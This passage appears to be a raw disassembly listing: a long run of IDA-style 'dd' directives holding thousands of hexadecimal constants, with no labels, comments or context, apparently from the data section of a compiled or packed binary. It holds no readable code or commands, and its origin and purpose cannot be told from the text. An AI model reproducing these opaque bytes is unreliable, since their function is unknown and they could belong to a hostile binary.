0D6F525E0h, 0EBF08048h dd 33183E00h, 0B7003A70h, 0C1EBE21Fh, 3835B78h, 0CAFB59D2h dd 810118DAh, 3681543Bh, 0A852E0FEh, 0B6D321A8h, 221422FAh dd 2CF1000Bh, 6DC4990Ch, 0DF041830h, 56A9B7AAh, 202204D2h dd 8C257DC6h, 17A6EE00h, 7770FE64h, 823B0935h, 0F002ABD8h dd 0F094720h, 859708B4h, 81B1AF6Ch, 31A36009h, 20B4040Dh dd 73AA3EDCh, 250E2891h, 0BB6842A5h, 7814604Ah, 0A7C08A0Dh dd 0A1DDBB5h, 6F3D5541h, 6702C019h, 0DD53F7E3h, 8EDD87E0h dd 502AF71Dh, 23421132h, 602BAD3Eh, 83393491h, 314D03E5h dd 7B2FB949h, 3EB06883h, 0A80B78B7h, 37C57C3h, 1A0FA76Ch dd 41182469h, 0A491C050h, 6FAF7881h, 0D42DB767h, 40123422h dd 2C083D1Eh, 8357476Fh, 410327CDh, 63D0DFF4h, 0ACAAA8D7h dd 4CFA0013h, 1A8DE65Fh, 230CCE5Eh, 7922260Dh, 880B5678h dd 0CE4AB002h, 0E0708146h, 98527721h, 764039CAh, 5BC4AE01h dd 7731519h, 0F86067F1h, 0ACD916DEh, 97040855h, 83287A80h dd 2BC761h, 0BC026450h, 0D701F61Fh, 1A5C4F00h, 87D32FF7h dd 0DC7A14EBh, 1403F896h, 4F6FF383h, 1F1AA101h, 79BB33CDh dd 7D28C6E6h, 0A1901Eh, 6ACA17E1h, 2B588EE0h, 0B8C0FFECh dd 425C0153h, 0B8BB17AAh, 3488081Eh, 3580529Fh, 68EEC25Eh dd 0FC310036h, 0EA30B28Ah, 90009817h, 0B8E1D248h, 0E0E4D49h dd 5F82D7B5h, 0B9282D80h, 0A6F8A80Ch, 0FD27501h, 0E30EFFBEh dd 0CFE80AF5h, 0AEAA00D0h, 663734C0h, 76EEAB83h, 0BA1D0428h dd 12D4531Dh, 186F00BAh, 159EA3E0h, 0DE81Ch, 34BBA0F2h dd 0AD3871BAh, 2FBDD603h, 0B868C763h, 890872h, 40F7D110h dd 2218716Ah, 48774B01h, 0F45DA342h, 7FC04083h, 81BCCDF7h dd 0FC83075Ah, 0E800A63Fh, 4D3C6312h, 60A21EDCh, 0F913710Ch dd 0A00AE6Fh, 0C4FD2D95h, 25156148h, 5DCB18Dh, 0A3FBC603h dd 6F311C13h, 695B009Ch, 8AB3BA21h, 6E75BC00h, 3EB015D5h dd 1129C3E4h, 0E0A3C37Ch, 0D305AFC1h, 87E11919h, 11810EB0h dd 3E3CC685h, 3B6BD01Dh, 0FD1AEA00h, 9A67392h, 0E808611Ch dd 88108C42h, 27EAD1h, 4CBB9DE9h, 74003D13h, 9EE34DEFh dd 0CBC15BFh, 7E79107Bh, 5064081h, 0F7DA1250h, 10A43089h dd 47244581h, 8F906A00h, 0E485AD1Fh, 2B4339A8h, 6B3FCD80h dd 0E85F8EF5h, 3AFF91Dh, 76227028h, 18CD989Fh, 10AB3847h dd 19C7B99Dh, 9A805208h, 0B529E3h, 56172E64h, 0F883D96Bh dd 48C81350h, 0A3BBF008h, 0AF478FEAh, 0AD00A9AFh, 1D714D5h dd 89C60D1h, 3F76489h, 7C3C18E0h, 85E0E2C3h, 3530C020h dd 10B0E1ECh, 898A6374h, 190090D9h, 0A1EDE97Eh, 6E1C80h dd 74350A7Bh, 2A85AC96h, 854A243Eh, 0A5A31E6Bh, 0C3437404h dd 0E7372020h, 0F7DBF804h, 18C06D08h, 0BE5825h, 5C4E9413h dd 3DBAF9BFh, 3A4F1800h, 0AAF5D741h, 0E4C050DBh, 357E0251h dd 27AD7463h, 0F5090440h, 0D9C3F9CCh, 2DE04FDh, 0EBDB456Ch dd 28757300h, 0B017BC81h, 0A4EF5116h, 0CDAA9C0h, 0B09AC083h dd 53003BA1h, 0E7DB6310h, 0E57A8h, 98C7870h, 49E6ECCAh dd 0A084C3B0h, 52E7C303h, 0E0F4F3BEh, 0A99D2B5Dh, 0EE1085E0h dd 0E1035672h, 0E6C9F44Eh dd 3205B0A2h, 0F95B0010h, 266289EDh, 6F0039B2h, 83C120DEh dd 0C3A27411h, 0FFA5A841h, 0C3CC90ECh, 0C4A8BC20h, 7D00F606h dd 4165DDBEh, 0A3CE9A2h, 0DC3EAFF8h, 0A6C080BCh, 0A967DB4Ch dd 8BA810A0h, 0E0989354h, 7B22ED00h, 2E44F4EAh, 0E69D485Fh dd 39AA92Eh, 14B55EACh, 0A3221114h, 15C01E14h, 0EBE07B40h dd 6048DAF2h, 866951FCh, 73005F18h, 499C7EB7h, 1FCAE779h dd 0D5E27Fh, 3C38A9BBh, 0D4F74206h, 9C00956Ah, 0BFC2B59Fh dd 3AF350Bh, 56D9B0C7h, 0D0A7ECE5h, 1EA3745Eh, 0CD7DEF00h dd 0B8DF2702h, 52E3004Ah, 0C93CDB72h, 0B405B0C1h, 8ADA57ECh dd 4EB59040h, 776DF4CEh, 0C265007Ch, 0FF58E42Fh, 56756B8Bh dd 64058403h, 0A01E95D4h, 3EF90EAh, 0E362AC5Fh, 49F0F951h dd 0EB006DFFh, 8455C30Ah, 0E5F6A3h, 1551A971h, 66617B2Eh dd 0D00C8579h, 2804BED5h, 0DE8F78B5h, 69FC0D30h, 8516F008h dd 591FAD0Ah, 0D500A7B6h, 0E1789DDFh, 0EA20C14Dh, 0C0442058h dd 4F0076A0h, 89FC146Eh, 0C0E19A7h, 3D0A6773h, 0D6606B89h dd 2A707D61h, 0D8F487h, 4BC366FBh, 0BAF1F8D2h, 89A05900h dd 0FD8FA9F3h, 0EE00679h, 0A9BF4D63h, 8C00CC98h, 4829B376h dd 35E97ACh, 40AAA238h, 27D0E022h, 6E3B7EE4h, 625A8046h dd 0BAA5598Bh, 5EDB1560h, 0FC182C08h, 0F198E96Fh, 1DF66B0Eh dd 546E476Ch, 718C8BC0h, 0C13660EBh, 7C0A3B44h, 540138F0h dd 4CDBF713h, 6FC4FBEBh, 0AD3F306Ch, 71C48B28h, 0DE88B518h dd 6F6763F1h, 3503C137h, 793E5458h, 17B70632h, 38E8E9A9h dd 29600D67h, 4E570FEEh, 0A2EF8300h, 32ADC2B9h, 0D0733885h dd 8DC8DA9h, 0C880C58Ch, 0AFE70FE9h, 3235F6B1h, 4A697D5Dh dd 6647A090h, 67885B00h, 13E79E9Ah, 4B8207B1h, 3018D081h dd 78AE60D3h, 0F78B713Fh, 9101C137h, 0D6EFFE0h, 39A71C38h dd 5E183A0Bh, 0AD89A863h, 9600F0A6h, 4A3C2A22h, 24C9158h dd 8C7D43CAh, 0E2E06CACh, 630C6F07h, 307B33ECh, 0A018055Ch dd 8684335h, 91808C58h, 0D972E7C7h, 0E8970C33h, 18E16B0Fh dd 0EFED6903h, 14501984h, 5897D239h, 71BC8D05h, 64C84C78h dd 9E0383A8h, 0B607CB5Ch, 37E9D02Dh, 7012623Fh, 4CE0C31Ch dd 93005DF2h, 785C7A0Ah, 0A0481A0h, 0D280B550h, 0EA5841E8h dd 0ED98100Bh, 0CED601B8h, 0DAC59A7Ch, 892F6017h, 6371DC2Ch dd 0B54AD906h, 0A3403D1h, 6E096AA1h, 0D263C188h, 59610600h dd 67E6BFBEh, 6DE72839h, 4CDA45ECh, 0F700EB54h, 10C83C2h dd 90754647h, 0E064F864h, 58049270h, 316EEC35h, 124E03C0h dd 0EB0029FBh, 8962B65Fh, 90A7DD59h, 2738CC88h, 0F87FE4C9h dd 78E039C0h, 5320ACCh, 0A1BF8A86h, 0A8BCD2h, 35E98D76h dd 0FD836Eh, 0BFE331C7h, 0E7232FEEh, 62003C9Bh, 78204BF5h dd 0B674FEh, 596910E3h, 7EFD043h, 0C58A2284h, 1160CF48h dd 5210ACA7h, 80B68862h, 0E12B6181h, 910009CCh, 0DA2C60EDh dd 50E5CF3Dh, 1E197CFDh, 804E5B30h, 9A0F66DFh, 0DBEE9EA7h dd 58016305h, 8000A3F1h, 258F0A59h, 44089A72h, 0FA004F67h dd 34CF7939h, 3EBE668Ch, 0FC066FFDh, 0B1D781B5h, 0B7EDD218h dd 0C00DEB99h, 381BC5F9h, 6D05A7D8h, 156CDC4Ah, 83EB1804h dd 5DF39C40h, 423002B2h, 4A4421D9h, 300D888Fh, 874B492h dd 0EF822F9h, 67C28197h, 0EA614550h, 61D6F3CAh, 0E9F492C0h dd 47C38083h, 3BC58802h, 66D18DB5h, 94244h, 0A861905Bh dd 303E6420h, 31906C6h, 989034F3h, 0B4445F03h, 0D933E35Dh dd 4998D868h, 1D46705Ch, 0C65A0600h, 83804E05h, 470E00D6h dd 9ED2938Ah, 0A23E635Bh, 7F1E0013h, 5CC287B2h, 268400E5h dd 1207ACB6h, 0E715946Dh, 0BC6BFDh, 56F632F9h, 0F0CD0E8Bh dd 467E1813h, 0BD0578C0h, 0E4654503h, 0A0CA9CD3h, 491BD15Dh dd 35223C27h, 0C6A70100h, 5A098A8Ch, 0E8020FAEh, 480F1714h dd 58038901h, 40022E5h, 753980CCh, 6894C30Ah, 0D5D305E3h dd 9984082h, 44CA6275h, 3F60E400h, 7308EE79h, 0D3E30F0Ch dd 0FD86F494h, 1773C961h, 0D0A2126h, 9C030326h, 0B7AE5C01h dd 2BA9B4A0h, 78EF1DBBh, 5A30F054h, 81C033EAh, 0F795633Ch dd 9A4D0E4Bh, 0F100E6D1h, 9FFB8BC2h, 32CE7E04h, 389514CCh dd 22E41054h, 7E1F0003h, 29069854h, 0E8C3BBC5h, 32EB35h dd 79C96721h, 92FA73Dh, 40478800h, 0B9A3BD7Eh, 4DAB17CCh dd 0B762042Bh, 0E85C88E6h, 56310E9h, 0BC892429h, 782162A0h dd 0AE406624h, 6AA55F38h, 7B588004h, 67C0E0EFh, 49A30FEDh dd 4510F0A2h, 80898867h, 0B29CFCBCh, 0DD00E75Eh, 5F14232Dh dd 9FDA068h, 4D024F5Dh, 0CAF9819h, 39A42CD8h, 35D260D8h dd 0F6004B44h, 0D5B13A3Ch, 7539FE11h, 8B0A8h, 3B5E40FDh dd 652276FAh, 5718FB72h, 18A1A4DEh, 669F26C3h, 0DF8F42C8h dd 0E106C11h, 0D80AEADDh, 50FE9E2Dh, 0C5BB46C5h, 78248202h dd 314428E4h, 728A1F02h, 87C60B99h, 7054F487h, 91C5A25Ch dd 0F5B85A06h, 228979D1h, 8D293AEAh, 8391CCDBh, 86E59F0Fh dd 0D88FE320h, 0E40390EBh, 6DBDD151h, 356490FEh, 0E8BF480Ah dd 8504504Ch, 81EB6574h, 32E6C5A4h, 22863E0h, 0B446A85Bh dd 8963042Dh, 90A2F501h, 25DB524h, 1E629090h, 0E4F8DF40h dd 55472238h, 0A1905A05h, 5000ECD3h, 815F1C98h, 0D83D49EAh dd 0C0000F22h, 7FDC58F3h, 139B87F6h, 501F92EDh, 0EC0BFC34h dd 0CF816031h, 0CC93D56Dh, 45003DA6h, 351FA43h, 0E1C13h dd 265C36AEh, 93CDFC98h, 6301C370h, 0A3ADC6CEh, 8980B04Ah dd 0DEEEBCABh, 3C008925h, 8BA0A8F5h, 0CFB450h, 0F414A50Ch dd 477F3548h, 13D9500h, 9CBFCBE7h, 0D2910078h, 0BA9D1C9Fh dd 0FB260312h, 4406A0E9h, 30618F90h, 4FD90CEBh, 1300387Fh dd 5B3725B3h, 28EEC71Fh, 148030E7h, 0AC518A9Ch, 418B4A86h dd 0E010B000h, 3706EBEFh, 5A722CD8h, 0C7C44590h, 605E124Ch dd 0A21C6410h, 0DC4000B4h, 7356E370h, 3431024Eh, 3C6FF27Dh dd 6C00CCC6h, 262BE927h, 611E71h, 638B7AEAh, 7CF01FFh dd 22A0EC00h, 0F1738CDBh, 151D004Dh, 657CE3D5h, 43008A55h dd 4B0350E2h, 38063018h, 0FE45EDh, 0A9AFD6Dh, 833BCCF6h dd 37129674h, 508882B5h, 250A725Fh, 0EC027AFDh, 5C643667h dd 4D651C0Ch, 0DBC98Ah, 8D8C3528h, 0DE42C97Ch, 9C8823Eh dd 40528FB4h, 13D3CFA0h, 2E16746h, 0D1583656h, 0E644048h dd 87593E69h, 0D0CAEC18h, 0A3B450h, 0F9D2AD4Fh, 656FDAEEh dd 20D4CC26h, 0A7380B82h, 0F0604498h, 676E0A26h, 82C200Dh dd 318265FDh, 0E039B2C2h, 1FCC71Dh, 0C54081B8h, 63EEA00Fh dd 273A70h, 542D7AC4h, 122B8F6Dh, 880FF163h, 4200CE60h dd 31F31B3h, 0A096D3E1h, 90C9F908h, 0AC6C20B8h, 1CDC6B22h dd 1D6D68FEh, 0E20C0145h, 60F22CFDh, 0C27B5BE8h, 0AC4AC429h dd 80BBA700h, 1686426h, 297BDD3h, 24BEB958h, 444803F0h dd 34EC03FBh, 229A4543h, 92F86CE8h, 3D13600h, 150181A7h dd 5238C0B8h, 533280B5h, 0AA00CCA6h, 352A8A3Ah, 8B83A058h dd 602837FAh, 8DF03BAh, 0E8C9DE16h, 914845A8h, 34052568h dd 8308009Dh, 0A676D4Eh, 6B30F0A4h, 268549D5h, 738A007Ah dd 0D194A603h, 2E12F9DCh, 0EB07B2B9h, 9890258Bh, 2E423C76h dd 1A7C141Dh, 7CC81187h, 0CC2ECE0Bh, 6160283Ah, 0F9C273h dd 2E962CB5h, 0B30587D4h dd 8AEC243Ch, 905E36F6h, 20A6441h, 65E43980h, 1BD49C05h dd 3E508C0h, 3DA55115h, 0FBB8357Fh, 0EC196748h, 0FCBBC1C0h dd 0C44B8AA0h, 1D091C44h, 9700ACB2h, 79744282h, 3700CE44h dd 86F6699Bh, 1AB0BB5h, 63B4CC08h, 80515D35h, 6B03CF91h dd 0F664559Dh, 0FC9A0EC0h, 6341157Fh, 4116FDE3h, 1003095Ch dd 922CD1Fh, 185FFC7Dh, 82218064h, 663F00E6h, 98351E89h dd 0C356D2A0h, 0A916F303h, 826E14A3h, 1C4C64h, 28056B0h dd 45EE7543h, 61854200h, 640B2465h, 658A0D9h, 38E8B180h dd 234374Eh, 0D4503E47h, 1078C45Ch, 6B25C586h, 0DA137020h dd 25008241h, 5C8A5B0Ah, 1947EB72h, 0E184CC7Dh, 0D0508409h dd 40C201C0h, 0E4C01A0Bh, 471EE4CCh, 0FF097F99h, 15A8616Dh dd 80B34A11h, 2897ECA1h, 10EE49h, 0D88C99B7h, 85DAB538h dd 3690D401h, 0E95A0EA7h, 0E065C8CCh, 44B49631h, 0D64D406Fh dd 5CA63DB8h, 204E5779h, 6571850Ch, 30FAD400h, 76C56494h dd 0EA357F60h, 27677050h, 0ACB0C0F8h, 3C00A6EFh, 9C7337F0h dd 1109D56h, 0D9CDE2F9h, 0C66DB6D8h, 0B026E453h, 81EC5B14h dd 6B7AA4C4h, 0E4003C39h, 16CFA2E2h, 3460EAB7h, 0CEB677C1h dd 20FD0198h, 75E2F10Ch, 7A02C806h, 7B8BE804h, 0F88887FAh dd 350C4403h, 0E1525C37h, 0C8816360h, 632C9022h, 6DFCF92Dh dd 56A9211Eh, 362BABC2h, 1086EDFh, 1982A708h, 0E049FD84h dd 4D4F6A4Ch, 51F51840h, 0AA9FA96h, 0EB88E2C7h, 9945005Ch dd 7276FF16h, 8771B200h, 0FB0D154Ch, 0ECFED5h, 0A0505FF3h dd 2B15DFFh, 34224F4Ah, 20281991h, 0AB27984Ch, 0D358A0FDh dd 283B8F1h, 0B69A7F62h, 3CC03E71h, 988B81D2h, 2CE5E12h dd 354EECDCh, 0D87244EBh, 257F5122h, 4A50B64h, 11C8A46Bh dd 80AC1439h, 0C866D7B0h, 0E88D69B3h, 5F5513CCh, 0C0810920h dd 0C9E47CE8h, 79B24B30h, 0F3EAE8h, 2E079219h, 0C1740981h dd 29D5FF00h, 0E3013CCDh, 404D4E3Ah, 9E639BB0h, 7400F1B5h dd 8A367D46h, 0B91FB6Fh, 0EA574385h, 5533B404h, 5C6909CCh dd 2B44E9E8h, 925F4440h, 708D4CB4h, 27E9C19Fh, 2848CDBDh dd 2CA124B0h, 945D4A60h, 7A1D009Fh, 17B7872Bh, 0F80E5F5Eh dd 6079F9AFh, 8DC1ED97h, 9501263h, 0EE47238h, 545B3521h dd 6C058033h, 8C6247EDh, 523C9038h, 0D0DB0007h, 0D15FC133h dd 10224A23h, 0FD00244Ch, 5DD48259h, 8E00ACECh, 67B56D9h dd 283FCB2Bh, 2508DAC7h, 0EC1037FBh, 0D800336Fh, 92F12239h dd 0CC87F9h, 8F8C09E9h, 7546429Eh, 0EDF8C905h, 80A22FE5h dd 0A1D94518h, 64545DBCh, 68002758h, 0B5D6A9EAh, 763FBB91h dd 0A0E54C58h, 7919DC18h, 279871D7h, 45C5E300h, 784E978Eh dd 0C04D5C63h, 9B3DC381h, 24F0FA6Ch, 0A0D5D327h, 0E389642Ch dd 91F30BD2h, 349AED65h, 84EA6482h, 35C17A11h, 0C09137FCh dd 71D48B58h, 0C02EED98h, 0C8B8F4D5h, 0BB400200h, 6C45355Dh dd 415F136Ch, 3E4160Eh, 0A3DF3EE8h, 0D8976928h, 3B944C00h dd 1EC3E366h, 45FA25A0h, 8464B010h, 0B4ADFF00h, 935055Dh dd 602D32B7h, 0B4E4FC50h, 291D2476h, 0CD44B470h, 7CDD0C5Eh dd 1325B810h, 19375AEh, 0B3C357AFh, 2E834D28h, 0CFF5D00h dd 4E55BEDh, 0DB53CAC8h, 580CA2C0h, 6C7BC148h, 44500A5Dh dd 0B488D3D2h, 5FE64470h, 2441825h, 60575919h, 1736B480h dd 2000326Dh, 89F216DCh, 253E9CA6h, 0E0250E67h, 0B50481E4h dd 9AC238Bh, 0C82A5E4Dh, 13E9CD04h, 93D4BB37h, 0D0880364h dd 890446A4h, 88E8BA53h, 3005CB6h, 0D368F113h, 8CE2D22Bh dd 0C28860A0h, 78BA6389h, 0CEF0DFA2h, 4513090Bh, 55D8346h dd 0B08BD326h, 256A9C24h, 3C9035DBh, 0F31D7D75h, 5A001CB7h dd 3C870B62h, 7661C03h, 643740DCh, 94F65CD5h, 35481105h dd 9843E758h, 0D3836D59h, 0D3D6E050h, 0A10261EEh, 0C25FF59Bh dd 504C3150h, 980CCAA4h, 705A6EC0h, 0F2631D67h, 5229F00Ah dd 0D45C8AFEh, 40358EB8h, 16A63139h, 80F4B46Bh, 42A77710h dd 2C00F697h, 12F0ABBCh, 0F1D716Dh, 0EC417649h, 2484E309h dd 2294507Fh, 40FC5AA8h, 0D84AA70Ch, 0B03853DAh, 284E804Fh dd 3AAA92FEh, 0B91107F0h, 0CAFD9D61h, 723580CCh, 0DC3C65E4h dd 0B3896700h, 0D560E314h, 66220FFCh, 90008D74h, 0CE2080D2h dd 0CB88CC0Fh, 1ADAC06Eh, 2E4B687Ah, 384DE92Bh, 23B420DBh dd 5A1C430Bh, 0A46608AAh, 91D1D242h, 788064FCh, 0EAECDBCEh dd 4B2D5333h, 8AB0A0FAh, 68DAB0h, 0D0662356h, 801D9889h dd 99E61890h, 4FD25240h, 0D90021D5h, 6E1060B1h, 0CB7C988Ah dd 0B40D00B8h, 0FC0ABB15h, 0AA3EEA3Bh, 561897F0h, 8BE9C008h dd 0D8900264h, 55C801Bh, 0E8EA2A20h, 5B16C807h, 1FDF5935h dd 0B456C387h, 0CB047CDAh, 48C24316h, 6EB09095h, 0B2070F83h dd 0B487EEA4h, 186551DBh, 0E448887Ah, 0D04B1285h, 0BB13BCA0h dd 693AC901h, 0D9D43BB7h, 9AC14061h, 68545D08h, 0CA90E58h dd 63191154h, 80D98888h, 9A47833Eh, 0C7DEFD3h, 8EA5570h dd 39002439h, 0EB761CFCh, 0FBA590h, 0C65F529Bh, 2D6CA1CEh dd 9DCCF000h, 0E5E7EB2Ch, 44943B19h, 0C30628BEh, 8ED4268h dd 6042D1Ch, 0FDA67BC0h, 3B6EA763h, 0F6B059AFh, 7E8DFF21h dd 93741F18h, 0C05BDC59h, 0E8C1C308h, 7809BF9Eh, 55334851h dd 98A6AA80h, 40C0F375h, 9705F62Ch, 0F1570A31h, 11401DE7h dd 67C800ECh, 519D82DBh, 49EEB2h, 0D0A0C55Ch, 5ED49FA5h dd 0A40CA171h, 7967DDFEh, 0DFFC0010h, 0D042C225h, 666107B3h dd 0F2691C59h, 0DB858E07h, 0EA380823h, 81291E8Bh, 274731FCh dd 8807D890h, 0DE988058h, 67978443h, 13BA7D00h, 5D56AC80h dd 71F90057h, 27ECED33h, 0E018CD60h, 59396244h, 0CF9DEA3h dd 0C189FDCFh, 4F973300h, 0B252A29Ch, 0D78E300Dh, 513AE7D6h dd 25E5F114h, 0C4631160h, 0DB8FA300h, 0CF4CC676h, 6C5BB300h dd 0EDE7BFA0h, 44EA0C69h, 3519CE79h, 28130703h, 0D09FEB4Ch dd 8A6C7h, 5AC80D93h, 0DB7DF997h, 16A981EBh, 6A77EC46h dd 7FD9741h, 8F40661h, 0CF7A007Eh, 0B430C78Fh, 281FAAC4h dd 7EFC09h, 763973A3h, 0BF4CDBh, 42EFE225h, 144EED5Fh dd 0EECC8F06h, 28115E6Ah, 30140377h, 67E12107h, 860E5090h dd 9E3E9479h, 0B1F617C0h, 95853B8h, 0A342112Ah, 70200Fh dd 9E3B8F2Dh, 48AA5EDDh, 0FF2A7990h, 8DC4890h, 75C2180h dd 0F38A441h, 6CC060DDh, 1D74583Ch, 8BEFA334h, 0A3805DCAh dd 6E92328Eh, 0F6113561h, 0E4418AD2h, 0E8106D43h, 0A524F86Ah dd 3F475807h, 0FFC00DE4h, 1DEE7C2h, 0AE8E90B0h, 0C406C9ABh dd 0CA0E870Eh, 80862FBEh, 0A20B3B76h, 276C0059h, 0AB353758h dd 790098A4h, 0D20C427Ch, 0EF20E5h, 444C161h, 0F7BA637h dd 0C2A0A401h, 71FFD596h, 3450B271h, 90476C31h, 0FBD41E75h dd 0A5FE0388h, 78906DE3h, 0A8C02C39h, 47293570h, 280160BBh dd 0EB6B1CA1h, 534498A4h, 76E400A0h, 9E4C8C03h, 52139FE3h dd 0EC1F7375h, 5A727B03h, 5B87809Bh, 1C6C030Bh, 5C45E039h dd 0A8594109h, 7414EDh, 9B713C7Fh, 0A2D06C11h, 76002C7Ch dd 270CE4B6h, 0CC6644E1h, 3A528841h, 2BAA8100h, 0E0CA6E8Ch dd 3064507Eh, 0E1D544A1h, 0DBF14645h, 0C126B20h, 0F9CF2701h dd 89054819h, 8880797Eh, 9D29FC00h, 0C0C2771Ch, 2C8FAC21h dd 0F091DB27h, 0E6A43F00h dd 71635Bh, 4A4EF7E1h, 0A0CD8004h, 0CA27339h, 41C5621Fh dd 5097843h, 4BE7B457h, 4972C676h, 0EB0EED7Eh, 4C095C7Ah dd 2AE1087Bh, 50746045h, 2A4446Bh, 0F1565D69h, 800F2ADAh dd 8F573935h, 26A0436h, 0D0C6A658h, 0E8F15000h, 42291F62h dd 9864EEh, 63357675h, 0B5A9AF4Dh, 0CD1A7E12h, 3013100Eh dd 0EFA7590Ah, 62884FA0h, 50AB26BEh, 60716B46h, 3AFBA17Eh dd 8F48FEE2h, 0CEE10C38h, 373B9F1h, 59E3539Dh, 970948h dd 71BDA816h, 93428013h, 0A410FA12h, 82A381C8h, 7B70DBA0h dd 3109F0CDh, 7980AAEh, 86D19D18h, 9BE34942h, 9FDEF2h dd 0E1D177F1h, 1EE404A5h, 0CB9EBF1Ch, 38196A80h, 29F2E847h dd 11881BE7h, 0FB2300E2h, 0F8D30490h, 6C9C0028h, 0A25B0DA1h dd 61E21FC2h, 0F299FA61h, 41802BE8h, 0E7B256CDh, 0C767EA4Dh dd 28024621h, 0D1B86069h, 34F6746Eh, 0C7696D1Ch, 0C95D41A8h dd 8B1180F5h, 0B0962473h, 0DBF90336h, 0EEE34216h, 46402E98h dd 8AD04348h, 778EC061h, 1FB8D545h, 0DD827DF8h, 9060DFFBh dd 3087CB34h, 0A2287F17h, 5929E7F7h, 7A96E8ADh, 20483838h dd 7C00F5DEh, 0A25009BCh, 3927082h, 1768EF63h, 819DA560h dd 1029D9C4h, 1503BC7h, 4762CD13h, 30CB63D5h, 0FE24D830h dd 0CA8C9CAFh, 894CC964h, 0FDC44807h, 0BA36A100h, 3B56E2F9h dd 0FA850026h, 0CCED1A6Bh, 111423DCh, 48180603h, 0C87440E0h dd 97E9E602h, 0A41F74EFh, 0D2C1CC0Ch, 0AFCCA234h, 1912043Eh dd 81A37DC0h, 15F374A8h, 95448Ch, 6F5CB727h, 47FA21EAh dd 253DFB00h, 0B262A06Bh, 0E8430370h, 494FE5A3h, 0EE1B15B0h dd 2607A418h, 0EFAE8799h, 0F5AECC8h, 7646E7B7h, 3EF432F2h dd 6C4E4404h, 89E8CF86h, 0AA710C00h, 640C405h, 95079A8h dd 0DCCA8DC5h, 83696700h, 0B3001DC7h, 0E497F9EFh, 6078FDA4h dd 675487Dh, 9602F663h, 0E0B4B8BFh, 15206470h, 8CF1A959h dd 9EA35003h, 1102B273h, 709C05F7h, 6C3610F6h, 0AC5D2800h dd 0A3303588h, 0BE5A2637h, 227D133Ch, 6C416D44h, 74C6F8A8h dd 0A8CBCC2Ch, 0A10A8640h, 0AFE90025h, 0FB55F6A5h, 0B5483E57h dd 0AB97126Ah, 0A328EC00h, 4CBE96E7h, 5000ECEBh, 0B5CC7F7Ch dd 68167844h, 1427DCB7h, 83BA21F1h, 3BAEEBECh, 8801512Bh dd 0DFB26A22h, 6EC3F0ACh, 0D0B174B8h, 9199180h, 18ABC6CAh dd 18F73429h, 7F29F82Ah, 0CD0098B4h, 0DE64A3Ch, 27E4A1A4h dd 5BE03110h, 0C50902F6h, 90709D6Ah, 4CDD7714h, 0B3E6EBFh dd 4845B086h, 0E07B11BBh, 616F8300h, 3D16DA75h, 0F7684C97h dd 8CEB40h, 0BA5DC7A8h, 0C3E67A2h, 28600230h, 0DDD36Bh dd 0ECEE880Dh, 3755DC4Eh, 0D484AB01h, 9E914B06h, 3DA1E8h dd 932AEE77h, 6B091EF2h, 0E20568C3h, 7A490572h, 64F9927h dd 89596F91h, 8BF8DD02h, 40F26EBDh, 0E063B238h, 96C60F2Dh dd 99C4F3D8h, 640FC0BAh, 59C0155Eh, 918646F7h, 6EA00007h dd 44D9FF51h, 0E6F84EF2h, 0FCB8803Bh, 5AC23103h, 1E063228h dd 0D3229C39h, 74CACF0h, 39ADEDB6h, 676C23A0h, 0B06D0060h dd 0F049DEEh, 8833D76Fh, 0AB8BA98Ah, 1FC878CAh, 0C2145E4Ch dd 429E5496h, 0F72B7060h, 9224EB05h, 0A3C05ADBh, 288BE012h dd 18A85DB2h, 41E3F064h, 80F16FBAh, 3836D59h, 9EC605h dd 547D7C67h, 0A18029CEh, 8DF69507h, 8A4017E8h, 6572E12h dd 85D7756Fh, 643C415Eh, 3D5963F3h, 0B9E9000Fh, 8B6DF4EDh dd 107C463Eh, 2712AC00h, 0C6516F4Ch, 1552019Bh, 6D4F215Ah dd 0F261C894h, 0BE2ADE00h, 0EAD98E4Dh, 0D3FF0249h, 97E34190h dd 172ADC8Ch, 1240D1Eh, 9F853130h, 186575ACh, 390AFF50h dd 0BE18A5C3h, 0E67097BFh, 8AB09ADh, 40108CD4h, 4552648Bh dd 95FC18E8h, 151AFA1h, 0C3A918DFh, 989F1DDDh, 57191510h dd 0A08C387h, 71303074h, 5CB20809h, 31B8CC4Fh, 38008310h dd 25772BE9h, 78B23FB3h, 47CFA80h, 6A565BA5h, 2D5A80F2h dd 8E061068h, 3321D23h, 0A6920F91h, 0AAA09D91h, 528C455Eh dd 80533D38h, 6C51E972h, 35DF91A4h, 80D1606Fh, 59FA2DEEh dd 0BC1BB700h, 1471D9FEh, 358D2A0Ah, 9D8900D0h, 55F18038h dd 9766534h, 0B30040E4h, 134D2564h, 522277F5h, 17058C61h dd 40602379h, 0DBEA1808h, 7A2491F1h, 3E3B24E6h, 29206088h dd 128DB71Ah, 448C8AD7h, 906E02BCh, 0A5A0D1C0h, 0A26C7004h dd 0A88264D2h, 0EE0521C5h, 1529806Dh, 0BB8DF18Bh, 8A591E50h dd 0EF04C339h, 200CC5DCh, 7861E67Dh, 26D9C709h, 0C6E483F6h dd 0A6BA1102h, 2FCB8A65h, 4B808E60h, 0C40FF3B0h, 0AE1892D1h dd 0F15BA015h, 8326E7FFh, 0B464F5D8h, 0E8502262h, 0C6052FC5h dd 28B45E32h, 0AE7C00DCh, 7A17CAD5h, 8A005F5h, 1A0C5280h dd 315883D4h, 39666002h, 45426FFCh, 0AD15E000h, 0B4BB2497h dd 3FD2001Eh, 5D700788h, 0C5034F09h, 1C28352Ah, 9041DD32h dd 0BF7BB476h, 0A960F7D6h, 0E100B201h, 99D8805Eh, 9D5DA0h dd 649523F5h, 7415A9EEh, 5EBA7701h, 0D3E32872h, 0C0ABCF0h dd 0B60C83F6h, 9898EA90h, 5322907Dh, 626F3003h, 0A5B2E4B9h dd 2F6DCC00h, 7C33D076h, 0D25E788Ah, 53F00D21h, 11B827B0h dd 640A69ECh, 6EF00B52h, 8E230091h, 2704FC53h, 912A002Ch dd 730E57DCh, 0FE006A45h, 0EA2E9856h, 3EE9647Eh, 62077594h dd 0C1C60C37h, 20818BE2h, 0C039734Ch, 0A28D93F0h, 2B024022h dd 0D8797100h, 0D600638Ch, 0DBF2B80Ch, 7A990B6Ch, 85770F25h dd 5409AC98h, 0B399C943h, 0EB589082h, 23F37204h, 6C348110h dd 0FB2D0015h, 0FE5906E0h, 0D1702F97h, 0ECBA7A1Fh, 283E6F24h dd 0EA4C0C07h, 7C332850h, 8047277h, 89D41D53h, 18BDC88h dd 9E7C14F2h, 7096F4ABh, 0C778BA98h, 1D5B600h, 0D9623FA2h dd 0ED2A0060h, 0DA190227h, 79079241h, 7775953Dh, 636EB3h dd 90560651h, 6792FD7Ah, 0BF64C801h, 65021784h, 9CE28980h dd 73B160DCh, 69E68100h, 